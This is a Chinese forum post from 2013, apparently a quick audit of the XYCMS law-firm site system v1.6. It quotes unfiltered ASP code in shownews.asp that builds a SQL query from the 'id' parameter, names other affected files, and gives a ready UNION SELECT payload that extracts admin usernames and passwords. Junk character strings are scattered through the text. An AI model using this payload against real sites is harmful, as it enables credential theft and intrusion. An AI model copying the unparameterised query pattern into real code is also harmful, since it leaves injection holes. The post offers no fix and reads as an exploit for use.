前言：刚才蛋疼无聊下载了审计下,就稍微的看了下，漏洞太多。ps：跟有个投稿的板块文章有点类似( O8 e4 b3 G- b6 r# j6 K' E
) Q' e4 g! K7 E, K0 l' Q; `: J淫荡分割线
9 I% U- ]+ Q) @8 m! E* [--------------------------------------------------------9 r1 j" o, P5 G3 e2 N! e
% m# m8 f! ?- o# l4 z/ ], w+ w
审计版本：XYCMS律师事务所建站系统 v1.6(其他版本自测)
* h: K+ f2 ]' ^9 U3 b源码地址:http://down.chinaz.com/soft/29233.htm) G2 H$ q7 E \
* l' I) I, I; {7 z- J
漏洞文件:shownews.asp
2 Q; g; L: l" _( i& `7 b漏洞代码：7-13行
7 v. m0 ]. H* i" S. [2 A3 D
& B* z7 f: x+ T9 p% E4 Z
- z# h2 B" d: p6 Y0 R9 `- E5 e9 S<%
6 V# Z6 A$ t0 @; {+ X+ mid=request.QueryString("id"). \: G" L' s4 W
0 [4 i6 `( t- f2 ~% H
set snews=server.createobject("adodb.recordset") # `. I3 a {# \9 k
exec="select * from [news] where id="&id
* s- e& z' D+ O1 Msnews.open exec,conn,1,1 m0 `5 e( L2 W) n
%>
% a4 s- H+ K1 I- M3 p8 l# F * p5 c' ?% Q' V6 Z! s$ n: {
$ H7 W- u6 i' Y6 S
什么过滤都没有 直造成注入 ] v8 y' P. ^7 A$ A/ F
. C: R, Y) R9 J- E- J6 N
注入点:http://127.0.0.1:99/shownews.asp?id=xx
- J& V* m. ?; b: w) O% ~5 K: h
2 K2 P# k2 j) v# W其余相同漏洞文件:showdxal.asp,showfwly.asp 等等自己找# `, T- ?6 A, l! [1 f8 |% g& [
3 s8 X, A7 {2 S: _ $ _/ S+ ^$ ~' C" H
exp: union select 1,admin,password,4,5,7 from admin_user5 i- e( ~7 e- e* s3 v$ f2 \
c( l9 V2 e$ X' X, F9 N- ~ |
发表于 2013-4-4 17:28:12
收藏
支持
反对